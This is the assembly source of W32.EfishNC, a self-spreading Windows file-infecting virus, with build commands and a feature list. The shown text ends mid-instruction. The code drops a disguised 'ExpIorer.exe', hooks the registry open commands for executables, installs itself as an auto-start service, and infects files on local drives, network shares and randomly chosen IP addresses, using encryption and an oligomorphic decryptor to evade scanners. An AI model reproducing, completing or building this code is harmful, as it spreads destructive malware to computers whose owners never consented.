ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[EFISHNC.ASM]ÄÄÄ comment ;) W32.EfishNC by roy g biv some of its features: - parasitic resident (own process) infector of PE exe/dll (but not looking at suffix) - infects files in all directories on all fixed and network drives and network shares - directory traversal is linked-list instead of recursive to reduce stack size - enumerates shares on local network and also random IP addresses - reloc section inserter/last section appender - runs as service in NT/2000/XP and service process in 9x/Me - hooks all executable shell\open\command values - EPO and xlat (unbreakable!) encryption with oligomorphic decryptor - auto function type selection (Unicode under NT/2000/XP, ANSI under 9x/Me) - uses CRCs instead of API names - uses SEH for common code exit - section attributes are never altered (virus is self-modifying but runs on stack) - no infect files with data outside of image (eg self-extractors) - infected files are padded by random amounts to confuse tail scanners - uses SEH walker to find kernel address (no hard-coded addresses) - correct file checksum without using imagehlp.dll :) 100% correct algorithm - plus some new code optimisations that were never seen before :) --- optimisation tip: Windows appends ".dll" automatically, so this works: push "cfs" push esp call LoadLibraryA --- to build this thing: tasm ---- tasm32 /ml /m3 efishnc tlink32 /B:400000 /x efishnc,,,import32 Virus is not self-modifying, so no need to alter section attributes --- We're in the middle of a phase transition: a butterfly flapping its wings at just the right moment could cause a storm to happen. -I'm trying to understand- I'm at a moment in my life- I don't know where to flap my wings. (Danny Hillis) (; .486 .model flat extern GetCurrentProcess:proc extern WriteProcessMemory:proc extern MessageBoxA:proc extern ExitProcess:proc .data ;must be reverse alphabetical order because they are stored on stack ;API names are not present in replications, only in dropper expnames db "WriteProcessMemory" , 0 db "WriteFile" , 0 db "WinExec" , 0 db "SetFileAttributesA" , 0 db "MoveFileA" , 0 db "LoadLibraryA" , 0 db "GlobalFree" , 0 db "GlobalAlloc" , 0 db "GetWindowsDirectoryA", 0 db "GetTickCount" , 0 db "GetTempFileNameA" , 0 db "GetFileAttributesA" , 0 db "GetCurrentProcess" , 0 db "DeleteFileA" , 0 db "CreateFileA" , 0 db "CloseHandle" , 0 regnames db "RegSetValueA" , 0 db "RegCreateKeyA" , 0 db "RegCloseKey" , 0 db "OpenSCManagerA" , 0 db "CreateServiceA" , 0 db "CloseServiceHandle", 0 exenames db "LoadLibraryA" , 0 db "GlobalAlloc" , 0 db "GetVersion" , 0 db "GetTickCount" , 0 db "GetStartupInfoW", 0 db "GetStartupInfoA", 0 db "GetCommandLineW", 0 db "GetCommandLineA", 0 db "ExitProcess" , 0 db "CreateProcessW" , 0 db "CreateProcessA" , 0 usrnames db "CharNextW", 0 db "CharNextA", 0 svcnames db "StartServiceCtrlDispatcherA", 0 krnnames db "lstrlenW" , 0 db "lstrcpyW" , 0 db "lstrcatW" , 0 db "UnmapViewOfFile" , 0 db "Sleep" , 0 db "SetFileTime" , 0 db "SetFileAttributesW" , 0 db "SetFileAttributesA" , 0 db "SetCurrentDirectoryW", 0 db "SetCurrentDirectoryA", 0 db "MultiByteToWideChar" , 0 db "MapViewOfFile" , 0 db "LoadLibraryA" , 0 db "GlobalFree" , 0 db "GlobalAlloc" , 0 db "GetVersion" , 0 db "GetTickCount" , 0 db "GetFullPathNameW" , 0 db "GetFullPathNameA" , 0 db "GetDriveTypeA" , 0 db "FindNextFileW" , 0 db "FindNextFileA" , 0 db "FindFirstFileW" , 0 db "FindFirstFileA" , 0 db "FindClose" , 0 db "CreateThread" , 0 db "CreateFileW" , 0 db "CreateFileMappingA" , 0 db "CreateFileA" , 0 db "CloseHandle" , 0 sfcnames db "SfcIsFileProtected", 0 netnames db "WNetOpenEnumW" , 0 db "WNetOpenEnumA" , 0 db "WNetEnumResourceW", 0 db "WNetEnumResourceA", 0 db "WNetCloseEnum" , 0 ip9xnames db "NetShareEnum", 0 ipntnames db "NetShareEnum" , 0 db "NetApiBufferFree", 0 txttitle db "EfishNC", 0 txtbody db "running...", 0 include efishnc.inc .code dropper label near mov edx, expcrc_count mov ebx, offset expnames mov edi, offset expcrcbegin call create_crcs mov edx, regcrc_count mov ebx, offset regnames mov edi, offset regcrcbegin call create_crcs mov edx, execrc_count mov ebx, offset exenames mov edi, offset execrcbegin call create_crcs mov edx, usrcrc_count mov ebx, offset usrnames mov edi, offset usrcrcbegin call create_crcs mov edx, svccrc_count mov ebx, offset svcnames mov edi, offset svccrcbegin call create_crcs mov edx, krncrc_count mov ebx, offset krnnames mov edi, offset krncrcbegin call create_crcs mov edx, sfccrc_count mov ebx, offset sfcnames mov edi, offset sfccrcbegin call create_crcs mov edx, netcrc_count mov ebx, offset netnames mov edi, offset netcrcbegin call create_crcs mov edx, ip9xcrc_count mov ebx, offset ip9xnames mov edi, offset ip9xcrcbegin call create_crcs mov edx, ipntcrc_count mov ebx, offset ipntnames mov edi, offset ipntcrcbegin call create_crcs restore_loc label near pushad enter 0, 0 jmp efishnc_inf db decsize - (offset $ - offset restore_loc) dup ('r') xor ebx, ebx push ebx push offset txttitle push offset txtbody push ebx call MessageBoxA push ebx call ExitProcess create_crcs proc near imul ebp, edx, 4 create_loop label near or eax, -1 create_outer label near xor al, byte ptr [ebx] push 8 pop ecx create_inner label near add eax, eax jnb create_skip xor eax, 4c11db7h ;use generator polymonial (see IEEE 802) create_skip label near loop create_inner sub cl, byte ptr [ebx] ;carry set if not zero inc ebx ;carry not altered by inc jb create_outer push eax dec edx jne create_loop mov eax, esp push ecx push ebp push eax push edi call GetCurrentProcess push eax xchg esi, eax call WriteProcessMemory add esp, ebp ret create_crcs endp ;----------------------------------------------------------------------------- ;everything before this point is dropper code ;----------------------------------------------------------------------------- ;----------------------------------------------------------------------------- ;virus code begins here in infected files ;----------------------------------------------------------------------------- efishnc_inf proc near cld ;decryptor can set D flag call walk_seh ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- expcrcbegin label near ;place < 80h bytes from call for smaller code dd (expcrc_count + 1) dup (0) expcrcend label near dd offset drop_exp - offset expcrcend + 4 db "EfishNC - roy g biv" ;better, stronger, faster walk_seh label near xor esi, esi lods dword ptr fs:[esi] inc eax seh_loop label near dec eax xchg esi, eax lods dword ptr [esi] inc eax jne seh_loop lods dword ptr [esi] ;----------------------------------------------------------------------------- ;moved label after some data because "e800000000" looks like virus code ;) ;----------------------------------------------------------------------------- init_findmz label near inc eax xchg edi, eax find_mzhdr label near ;----------------------------------------------------------------------------- ;do not use hard-coded kernel address values because it is not portable ;Microsoft used all different values for 95, 98, NT, 2000, Me, XP ;they will maybe change again for every new release ;----------------------------------------------------------------------------- dec edi ;sub 64kb xor di, di ;64kb align call is_pehdr jne find_mzhdr mov ebx, edi pop edi ;----------------------------------------------------------------------------- ;parse export table ;----------------------------------------------------------------------------- mov esi, dword ptr [esi + pehdr.peexport.dirrva - pehdr.pecoff] lea esi, dword ptr [ebx + esi + peexp.expordbase] lods dword ptr [esi] ;Ordinal Base lea ebp, dword ptr [eax * 2 + ebx] lods dword ptr [esi] lods dword ptr [esi] lods dword ptr [esi] ;Export Address Table RVA lea edx, dword ptr [ebx + eax] lods dword ptr [esi] ;Name Pointer Table RVA add ebp, dword ptr [esi] ;Ordinal Table RVA lea ecx, dword ptr [ebx + eax] mov esi, ecx push_export label near push ecx get_export label near lods dword ptr [esi] push ebx add ebx, eax ;Name Pointer VA or eax, -1 crc_outer label near xor al, byte ptr [ebx] push 8 pop ecx crc_inner label near add eax, eax jnb crc_skip xor eax, 4c11db7h ;use generator polymonial (see IEEE 802) crc_skip label near loop crc_inner sub cl, byte ptr [ebx] ;carry set if not zero inc ebx ;carry not altered by inc jb crc_outer pop ebx cmp dword ptr [edi], eax jne get_export ;must find all since WriteProcessMemory() needed to run host ;----------------------------------------------------------------------------- ;exports must be sorted alphabetically, otherwise GetProcAddress() would fail ;this allows to push addresses onto the stack, and the order is known ;----------------------------------------------------------------------------- pop ecx mov eax, esi sub eax, ecx ;Name Pointer Table VA shr eax, 1 movzx eax, word ptr [ebp + eax - 4] ;get export ordinal mov eax, dword ptr [eax * 4 + edx] ;get export RVA add eax, ebx push eax scas dword ptr [edi] cmp dword ptr [edi], 0 jne push_export add edi, dword ptr [edi + 4] jmp edi dispname label near db "Explorer", 0 explabel label near db "ExpIorer.exe", 0 expsize equ 0d4h ;RLE-based compressed MZ header, PE header, import table, section table dd 11111111110000011100001011100000b ; mmmmmmmmmmz 01mmz 02mmm db 'M', 'Z', "gdi32.dll", 'P', 'E', 4ch, 1, 1 dd 00000110000111100001001010010000b ; z 01mz 03mmz 02r 04m db 2, 2ch, 10h, 88h dd 00000111110100100001001000111110b ; z 01mmmmr 02z 04mz 07mm db 0fh, 3, 0bh, 1, 56h, (offset efishnc_exe - offset efishnc_inf + expsize) and 0ffh, ((efishnc_exe - offset efishnc_inf + expsize + 1000h) shr 8) and 0ffh dd 00001001010010001011000010100001b ; z 02r 04mz 05mz 02mz 02 db 0ch, 40h, 10h dd 00000110000101010111100001111100b ; z 01mz 02mr 07mz 03mmm db 2, 1, 4, "Arc" dd 00001010000101000111100000101001b ; z 02mz 03mz 07mz 01r 02 db ((efishnc_codeend - offset efishnc_inf + expsize + 1fffh) and not 0fffh) shr 8, expsize, 2 dd 10000111000011100001110000110101b ; mz 03mz 03mz 03mz 03r 04 db 1, 1, 1, 1 dd 10001110101001100101001111001111b ; mz 07r 04mmz 0ar 0er 0e db 2, 8, 10h dd 00010110000111000010100001101100b ; z 05mz 03mz 02mz 03r 08 db 10h, ((efishnc_codeend - offset efishnc_inf + expsize + 1ffh) and not 1ffh) shr 8, 1 dd 00011110000000000000000000000000b ; z 07m db 60h dd 0 ;decompressed data follow. 'X' bytes are set to random value every time ; db 'M', 'Z' ;00 ; db "gdi32.dll", 0 ;02 align 4, filler (overload for dll name and import lookup table RVA) ; db 'P', 'E', 0, 0 ;0c 00 signature (overload for date/time stamp) ; dw 14ch ;10 04 machine (overload for forwarder chain) ; dw 1 ;12 06 number of sections (overload for forwarder chain) ; dd 2 ;14 08 date/time stamp (overload for dll name RVA) ; dd 102ch ;18 0c pointer to symbol table (overload for import address table RVA) ; db X, X, X, X ;1c 10 number of symbols ; dw 88h ;20 14 size of optional header ; dw 30fh ;22 16 characteristics ; dw 10bh ;24 18 magic ; db X ;26 1a major linker ; db X ;27 1b minor linker ; dd 0 ;28 1c size of code (overload for import table terminator) ; dd 56h ;2c 20 size of init data (overload for import name table RVA) ; dd 0 ;30 24 size of uninit data (overload for import name table terminator) ; dd offset efishnc_exe - offset efishnc_inf + expsize + 1000h ; ;34 28 entry point ; db X, X, X, X ;38 2c base of code ; dd 0ch ;3c 30 base of data (overload for lfanew) ; dd 400000h ;40 34 image base ; dd 1000h ;44 38 section align ; dd 200h ;48 3c file align ; db 1, X ;4c 40 major os ; db X, X ;4e 42 minor os ; db X, X ;50 44 major image ; db X, X ;52 46 minor image ; dw 4 ;54 48 major subsys ; dw 0 ;56 4a minor subsys (overload for import name table) ; db "Arc", 0 ;58 4c reserved (overload for import name table) ; dd (aligned size of code) ;5c 50 size of image ; dd expsize ;60 54 size of headers ; dd 0 ;64 58 checksum ; dw 2 ;68 5c subsystem ; db X, X ;6a 5e dll characteristics ; dd 1 ;6c 60 size of stack reserve ; dd 1 ;70 64 size of stack commit ; dd 1 ;74 68 size of heap reserve ; dd 1 ;78 6c size of heap commit ; db X, X, X, X ;7c 70 loader flags ; dd 2 ;80 74 number of rva and sizes (ignored by Windows 9x/Me) ; dd 0 ;84 78 export ; db X, X, X, X ;88 7c export ; dd 1008h ;8c 80 import ; dd 0 ;90 84 import ; dd 0 ;94 88 resource ; db X, X, X, X ;98 8c resource ; db X, X, X, X, X, X, X, X ;9c 90 exception ; db X, X, X, X, X, X, X, X ;a4 98 certificate ; db X, X, X, X, X, X, X, X ;ac a0 base reloc (overload for section name) ; dd 0 ;b4 a8 debug (overload for virtual size) ; dd 1000h ;b8 ac debug (overload for virtual address) ; dd (aligned size of code) ;bc b0 architecture (overload for file size) ; dd 1 ;c0 b4 architecture (overload for file offset) ; db X, X, X, X ;c4 b8 global data (overload for pointer to relocs) ; db X, X, X, X ;c8 bc global data (overload for pointer to line numbers) ; dd 0 ;cc c0 tls (overload for reloc table and line numbers) ; dd 60000000h ;d0 c4 tls (overload for section characteristics) ; ;d4 drop_exp label near mov ebx, esp lea esi, dword ptr [edi + offset explabel - offset drop_exp] mov edi, offset efishnc_codeend - offset efishnc_inf + expsize + 1ffh ;file size must be > end of last section push edi xor ebp, ebp ;GMEM_FIXED push ebp call dword ptr [ebx + expcrcstk.pGlobalAlloc] push eax ;GlobalFree push ebp ;WriteFile push esp ;WriteFile push edi ;WriteFile push ebp ;CreateFileA push FILE_ATTRIBUTE_HIDDEN ;CreateFileA push CREATE_ALWAYS ;CreateFileA push ebp ;CreateFileA push ebp ;CreateFileA push GENERIC_WRITE ;CreateFileA push eax ;CreateFileA lea ecx, dword ptr [eax + 7fh] push ecx ;MoveFileA push eax ;MoveFileA push eax ;GetFileAttributesA push ebp ;SetFileAttributesA push eax ;SetFileAttributesA push ecx ;DeleteFileA push ecx ;GetTempFileNameA push ebp ;GetTempFileNameA push esp ;GetTempFileNameA push eax ;GetTempFileNameA push edi ;GetWindowsDirectoryA push eax ;GetWindowsDirectoryA xchg ebp, eax call dword ptr [ebx + expcrcstk.pGetWindowsDirectoryA] lea edi, dword ptr [ebp + eax - 1] call dword ptr [ebx + expcrcstk.pGetTempFileNameA] call dword ptr [ebx + expcrcstk.pDeleteFileA] mov al, '\' scas byte ptr [edi] je skip_slash stos byte ptr [edi] ;----------------------------------------------------------------------------- ;append exe name, assumes name is 0dh bytes long ;----------------------------------------------------------------------------- skip_slash label near movs dword ptr [edi], dword ptr [esi] movs dword ptr [edi], dword ptr [esi] movs dword ptr [edi], dword ptr [esi] movs byte ptr [edi], byte ptr [esi] ;----------------------------------------------------------------------------- ;anti-anti-file dropper - remove read-only attribute, delete file, rename directory ;----------------------------------------------------------------------------- call dword ptr [ebx + expcrcstk.pSetFileAttributesA] call dword ptr [ebx + expcrcstk.pGetFileAttributesA] test al, FILE_ATTRIBUTE_DIRECTORY pop ecx pop eax je skip_move push eax push ecx call dword ptr [ebx + expcrcstk.pMoveFileA] skip_move label near call dword ptr [ebx + expcrcstk.pCreateFileA] push edi ;WriteFile push ebx xchg ebp, eax call dword ptr [ebx + expcrcstk.pGetTickCount] xchg ebx, eax xor ecx, ecx ;----------------------------------------------------------------------------- ;decompress MZ header, PE header, section table, import table ;----------------------------------------------------------------------------- lods dword ptr [esi] copy_bytes label near movs byte ptr [edi], byte ptr [esi] test_bits label near add eax, eax jb copy_bytes add eax, eax sbb dl, dl and dl, bl shld ecx, eax, 4 rol ebx, cl shl eax, 4 xchg edx, eax rep stos byte ptr [edi] xchg edx, eax jne test_bits lods dword ptr [esi] test eax, eax jne test_bits mov cx, offset efishnc_codeend - offset efishnc_inf sub esi, offset drop_exp - offset efishnc_inf rep movs byte ptr [edi], byte ptr [esi] pop ebx push ebp call dword ptr [ebx + expcrcstk.pWriteFile] push ebp call dword ptr [ebx + expcrcstk.pCloseHandle] pop eax push eax inc ebp je load_regdll ;allow only 1 copy to run push 0 push eax call dword ptr [ebx + expcrcstk.pWinExec] load_regdll label near sub esi, offset efishnc_codeend - offset regdll push esi call dword ptr [ebx + expcrcstk.pLoadLibraryA] call init_findmz ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- regcrcbegin label near ;place < 80h bytes from call for smaller code dd (regcrc_count + 1) dup (0) regcrcend label near dd offset reg_file - offset regcrcend + 4 regval db 'ExpIorer "%1" %*', 0 regkey db "\com" ;no regedit.com ;) db "\exe" ;must be 4 bytes long db "\pif" ;hook all executable suffix (except .scr which passes /S) reg_file label near ;must follow immediately mov ebx, esp mov ecx, HKEY_LOCAL_MACHINE ;----------------------------------------------------------------------------- ;alter Software\Classes in Local Machine and Current User ;because in Windows 2000/XP, Current User values override Local Machine values ;----------------------------------------------------------------------------- reg_loopouter label near lea ebp, dword ptr [edi + offset regval - offset reg_file] sub edi, offset reg_file - offset regkey push (offset reg_file - offset regkey) shr 2 pop esi reg_loopinner label near push ecx push "dna" push "mmoc" push "\nep" push "o\ll" push "ehs\" push "elif" push dword ptr [edi] ;comfile, exefile, piffile push "sess" push "alc\" push "eraw" push "tfos" ;obfuscated ;) mov eax, esp push eax push eax push ecx call dword ptr [ebx + regcrcstk.rRegCreateKeyA] pop eax add esp, 28h ;size software\classes\???file\shell\open\command - 4 push eax ;RegCloseKey push offset regkey - offset regval push ebp push REG_SZ push 0 ;default value push eax call dword ptr [ebx + regcrcstk.rRegSetValueA] call dword ptr [ebx + regcrcstk.rRegCloseKey] scas dword ptr [edi] pop ecx dec esi jne reg_loopinner loopw reg_loopouter ;decrements CX only ;----------------------------------------------------------------------------- ;register as service if NT/2000/XP (recognised but ignored by 9x/Me) ;no start service because code is running already ;----------------------------------------------------------------------------- push SC_MANAGER_CREATE_SERVICE push esi push esi call dword ptr [ebx + regcrcstk.rOpenSCManagerA] mov ecx, dword ptr [ebx + size regcrcstk] push ecx push eax push esi push esi push esi push esi push esi push ecx push esi ;SERVICE_ERROR_IGNORE push SERVICE_AUTO_START push SERVICE_WIN32_OWN_PROCESS push esi sub edi, offset reg_file - offset dispname push edi add edi, offset explabel - offset dispname push edi push eax call dword ptr [ebx + regcrcstk.rCreateServiceA] push eax call dword ptr [ebx + regcrcstk.rCloseServiceHandle] call dword ptr [ebx + regcrcstk.rCloseServiceHandle] call dword ptr [ebx + 4 + size regcrcstk + expcrcstk.pGlobalFree] ;----------------------------------------------------------------------------- ;restore host bytes ;----------------------------------------------------------------------------- push eax push esp push decsize call store_restore orgbytes label near db decsize dup (90h) ;----------------------------------------------------------------------------- ;WriteProcessMemory() is best to alter bytes because VirtualProtect() can fail ;----------------------------------------------------------------------------- store_restore label near mov esi, offset restore_loc push esi call dword ptr [ebx + 4 + size regcrcstk + expcrcstk.pGetCurrentProcess] push eax call dword ptr [ebx + 4 + size regcrcstk + expcrcstk.pWriteProcessMemory] store_popsize label near add esp, 'rgb!' org $ - 4 dd popsize push esi pop esi popad jmp dword ptr [esp - 24h] ;no stack change in ring 3 ;(except in some debuggers) ;----------------------------------------------------------------------------- ;virus code begins here in dropped exe ;----------------------------------------------------------------------------- efishnc_exe label near call walk_seh ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- execrcbegin label near ;place < 80h bytes from call for smaller code dd (execrc_count + 1) dup (0) execrcend label near dd offset load_user32 - offset execrcend + 4 load_user32 label near call skip_user32 db "user32", 0 skip_user32 label near call dword ptr [esp + execrcstk.eLoadLibraryA + 4] call init_findmz ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- usrcrcbegin label near ;place < 80h bytes from call for smaller code dd (usrcrc_count + 1) dup (0) usrcrcend label near dd offset get_cmdline - offset usrcrcend + 4 ;----------------------------------------------------------------------------- ;determine platform and dynamically select function types (ANSI or Unicode) ;----------------------------------------------------------------------------- get_cmdline label near mov ebx, esp call dword ptr [ebx + size usrcrcstk + execrcstk.eGetVersion] shr eax, 1fh lea esi, dword ptr [eax * 4 + ebx] ;----------------------------------------------------------------------------- ;RegisterServiceProcess() if 9x/Me (just sets one bit) ;----------------------------------------------------------------------------- mov ecx, dword ptr fs:[tib.TibTeb] or byte ptr [ecx + teb.procflags + 1], al ;----------------------------------------------------------------------------- ;parse command-line in platform-independent way to see how file was run ;----------------------------------------------------------------------------- dec eax mov al, 0ffh movzx edi, ax ;ffff if Unicode, 00ff if ANSI call dword ptr [esi + size usrcrcstk + execrcstk.eGetCommandLineW] stack_delta label near mov ebp, dword ptr [eax] and ebp, edi cmp ebp, '"' ;Unicode-compatible compare je skip_argv0 push ' ' pop ebp skip_argv0 label near push eax call dword ptr [esi + usrcrcstk.uCharNextW] mov ecx, dword ptr [eax] and ecx, edi je argv1_skip cmp ecx, ebp jne skip_argv0 find_argv1 label near push eax call dword ptr [esi + usrcrcstk.uCharNextW] mov ecx, dword ptr [eax] and ecx, edi cmp ecx, ' ' ;Unicode-compatible compare je find_argv1 argv1_skip label near ;----------------------------------------------------------------------------- ;if argv1 exists then argv0 was run using shell\open\command so run argv1 ;----------------------------------------------------------------------------- jecxz stack_copy sub esp, size processinfo mov edx, esp sub esp, size startupinfo mov ecx, esp push edx push ecx xor edx, edx push edx push edx push edx push edx push edx push edx push eax push edx push ecx call dword ptr [esi + size usrcrcstk + execrcstk.eGetStartupInfoW] call dword ptr [esi + size usrcrcstk + execrcstk.eCreateProcessW] call dword ptr [ebx + size usrcrcstk + execrcstk.eExitProcess] ;----------------------------------------------------------------------------- ;copy to stack and run from there for no write-protection and dynamic resizing ;----------------------------------------------------------------------------- stack_copy label near call dword ptr [ebx + size usrcrcstk.execrcstk.eGetTickCount] ;RNG seed mov ebx, dword ptr [ebx + size usrcrcstk + execrcstk.eGlobalAlloc] mov esi, 401000h + expsize ;entry point VA entrsize equ ((offset efishnc_codeend - offset efishnc_inf - size usrcrcstk - size execrcstk - 1) and -4) \ + ((statelen + 1) shl 2) ;include RNG cache if entrsize ge 8192 error code size too large ;solution: use another enter after copy endif enter entrsize, 0 mov edi, esp push ebx ;save for kernel base later mov ecx, offset efishnc_codeend - offset efishnc_inf lea ebp, dword ptr [edi + offset stack_exec - offset efishnc_inf] rep movs byte ptr [edi], byte ptr [esi] jmp ebp stack_exec label near ;----------------------------------------------------------------------------- ;feersum endjinn - oligomorphic decryptor with random line order ;----------------------------------------------------------------------------- call randinit push decsize + tblsize + grbgsize + tblsize + grbgsize + vsize + randsize + grbgsize push GMEM_ZEROINIT call ebx push eax mov dword ptr [edi + store_decsrc - offset efishnc_codeend + 1], eax add eax, decsize mov ebx, eax inc ah ;include old xlat table size mov dword ptr [edi + store_copysrc - offset efishnc_codeend + 1], eax push eax xchg esi, eax call random and eax, grbgsize - 1 add esi, eax ;table offset call random and eax, grbgsize - 1 inc ah ;include new xlat table size lea ebp, dword ptr [esi + eax] ;buffer offset call random test al, 1 je init_table mov ebp, esi ;buffer offset call random and eax, randsize - 1 lea esi, dword ptr [ebp + eax + vsize] ;table offset init_table label near mov dword ptr [edi + offset store_encdst - offset efishnc_codeend + 1], ebp mov ecx, grbgsize + tblsize + grbgsize + vsize + randsize + grbgsize pop edi init_buffer label near call random stos byte ptr [edi] loop init_buffer ;----------------------------------------------------------------------------- ;bit table is constant time, and much faster than scasb with increasing range ;----------------------------------------------------------------------------- fill_table label near call random movzx eax, al bts dword ptr [ebx - (tblsize shr 3)], eax jb fill_table ;already in table mov byte ptr [ebx + ecx], al inc cl jne fill_table ;fill with 256 unique values pop edi push ebp ;buffer offset transform label near mov al, cl xlat byte ptr [ebx] mov byte ptr [esi + eax], cl inc cl jne transform call random and eax, (randsize - 1) and -4 ;dword align mov ecx, eax ;random extra size add ax, small vsize ;64kb limit mov ebp, eax ;enter size add ax, popsize mov dword ptr [esp + offset store_popsize - offset efishnc_inf + 0ah], eax call random and eax, state_decdown xchg ebx, eax call random and al, state_esifirst or bl, al call random and al, state_pushret je skip_pushb or bl, al call random test bl, state_decdown jne skip_pushb and al, state_pushb or bl, al skip_pushb label near call random and al, state_movesi or bl, al call random and al, state_movedi or bl, al call random and al, state_jg or bl, al mov al, 60h ;pushad stos byte ptr [edi] store_block1 label near call random and eax, block1and cmp al, block1cmp jnb store_block1 call callblock1 ;----------------------------------------------------------------------------- ;block 1 contains: mov ebx/esi, lea esi/ebx, enter, mov edi ;std (if down direction) and possibly push (if using ret to jump) ;example 1: ;enter vsize + random size, 0 ;std ;mov esi, offset encrypted block end + random size ;push esp ;mov edi, ebp ;lea ebx, dword ptr [esi + offset xlat table] ;example 2: ;mov ebx, offset xlat table ;enter vsize + random size, 0 ;lea esi, dword ptr [ebx + offset encrypted block begin] ;mov edi, esp ;----------------------------------------------------------------------------- procblock1 label near dw offset storeebx - offset procblock1 dw offset storeesi - offset procblock1 dw offset storeenter - offset procblock1 dw offset storeedi - offset procblock1 dw offset storestd - offset procblock1 dw offset storepushb - offset procblock1 callblock1 label near pop edx movzx eax, word ptr [eax * 2 + edx] add eax, edx call eax cmp bh, block1done jne store_block1 pop eax and bx, (not state_esifirst) and 0ffh mov ebp, edi ;loop label store_block2 label near call random and eax, block2and cmp al, block2cmp jnb store_block2 call callblock2 ;----------------------------------------------------------------------------- ;block 2 contains: load, xlat, store, cmp, branch ;inc esi (if using mov esi), inc edi (if using mov edi) ;possibly push (if using ret to jump) and ret, or jmp esp ;example 1: ;lods byte ptr [esi] ;xlat byte ptr [ebx] ;mov byte ptr [edi], al ;inc edi ;cmp edi, ebp ;jl label ;push esp ;ret ;example 2: ;mov al, byte ptr [esi] ;xlat byte ptr [ebx] ;dec esi ;mov byte ptr [edi], al ;dec edi ;cmp esp, edi ;jle label ;jmp esp ;----------------------------------------------------------------------------- procblock2 label near dw offset storelods - offset procblock2 dw offset storexlat - offset procblock2 dw offset storestos - offset procblock2 dw offset storeincs - offset procblock2 dw offset storeincd - offset procblock2 dw offset storecmp - offset procblock2 dw offset storejne - offset procblock2 dw offset storepushe - offset procblock2 dw offset storeret - offset procblock2 callblock2 label near pop ecx movzx eax, word ptr [eax * 2 + ecx] add eax, ecx call eax test bl, 1 shl state_ret je store_block2 pop edi call find_mzhdr ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- krncrcbegin label near ;place < 80h bytes from call for smaller code dd (krncrc_count + 1) dup (0) krncrcend label near dd offset swap_create - offset krncrcend + 4 ;----------------------------------------------------------------------------- ;swap CreateFileW and CreateFileMappingA because of alphabet order ;----------------------------------------------------------------------------- swap_create label near mov dword ptr [edi + offset store_krnapi - offset swap_create + 3], esp mov ebx, esp mov eax, dword ptr [ebx + krncrcstk.kCreateFileMappingA] xchg dword ptr [ebx + krncrcstk.kCreateFileW], eax mov dword ptr [ebx + krncrcstk.kCreateFileMappingA], eax ;----------------------------------------------------------------------------- ;get SFC support if available ;----------------------------------------------------------------------------- call load_sfc db "sfc_os", 0 ;Windows XP (forwarder chain from sfc.dll) load_sfc label near call cLoadLibraryA test eax, eax jne found_sfc push 'cfs' ;Windows Me/2000 push esp call cLoadLibraryA pop ecx test eax, eax je sfcapi_esp found_sfc label near push edi call init_findmz ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- sfccrcbegin label near ;place < 80h bytes from call for smaller code dd (sfccrc_count + 1) dup (0) sfccrcend label near dd offset sfcapi_pop - offset sfccrcend + 4 sfcapi_pop label near pop eax pop edi sfcapi_esp label near mov dword ptr [edi + offset store_sfcapi - offset swap_create + 1], eax ;----------------------------------------------------------------------------- ;get rest of APIs required for network thread ;----------------------------------------------------------------------------- push 'rpm' push esp call cLoadLibraryA pop ecx call init_findmz ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- netcrcbegin label near ;place < 80h bytes from call for smaller code dd (netcrc_count + 1) dup (0) netcrcend label near dd offset netapi_esp - offset netcrcend + 4 netapi_esp label near mov eax, dword ptr [esp + netcrcstk.nWNetCloseEnum - netcrcstk.nWNetOpenEnumW] mov dword ptr [edi + offset store_netapi - offset netapi_esp + 1], eax ;----------------------------------------------------------------------------- ;initialise service table if NT/2000/XP ;----------------------------------------------------------------------------- call cGetVersion shr eax, 1fh jne svc_main ;no service if 9x/Me push eax push eax lea eax, dword ptr [edi + offset regdll - offset netapi_esp] push eax call cLoadLibraryA call init_findmz ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- svccrcbegin label near ;place < 80h bytes from call for smaller code dd (svccrc_count + 1) dup (0) svccrcend label near dd offset start_disp - offset svccrcend + 4 start_disp label near pop eax mov ecx, esp add edi, offset svc_main - offset start_disp push edi push ecx push esp call eax ;does not return if service launch add esp, size SERVICE_TABLE_ENTRY ;fix stack if app launch svc_main label near push eax push esp xor esi, esi push esi push esi call create_thr1 ;----------------------------------------------------------------------------- ;thread 1: infect files on all fixed and remote drive letters ;----------------------------------------------------------------------------- find_drives proc near mov eax, '\:A' ;NEC-PC98 uses A: for boot drive which can be hard disk drive_loop label near push eax push esp push (krncrcstk.kGetDriveTypeA - krncrcstk.klstrlenW) shr 2 pop eax call store_krnapi sub al, DRIVE_FIXED je drive_set xchg ecx, eax loop drive_next ;loop if not DRIVE_REMOTE drive_set label near push esp call cSetCurrentDirectoryA call find_files drive_next label near pop eax inc eax cmp al, 'Z' + 1 jne drive_loop push 10 * 60 * 1000 ;10 minutes call cSleep jmp find_drives find_drives endp create_thr1 label near push esi push esi call cCreateThread push esp push esi push esi call create_thr2 ;----------------------------------------------------------------------------- ;thread 2: find files on network shares using non-recursive algorithm ;----------------------------------------------------------------------------- call get_krnapis find_wnet proc near xor ebx, ebx ;previous handle xor esi, esi ;previous node xor edi, edi ;previous buffer wnet_open label near push eax push esp push edi push 0 push RESOURCETYPE_DISK push RESOURCE_GLOBALNET call dword ptr [ebp + netcrcstk.nWNetOpenEnumW - size netcrcstk] push eax push edi call cGlobalFree pop ecx pop edi inc ecx loop wnet_next push size wnetlist push ecx ;GMEM_FIXED call cGlobalAlloc mov dword ptr [eax + wnetlist.wnetprev], esi mov dword ptr [eax + wnetlist.wnethand], ebx xchg esi, eax mov ebx, edi wnet_next label near push 1 mov eax, esp push eax push esp push eax push ebx call dword ptr [ebp + netcrcstk.nWNetEnumResourceW - size netcrcstk] pop edi sub al, ERROR_MORE_DATA jne wnet_close push edi push eax ;GMEM_FIXED call cGlobalAlloc xchg ecx, eax jecxz wnet_close push edi mov eax, esp push 1 mov edx, esp push eax push ecx push edx push ebx mov edi, ecx call dword 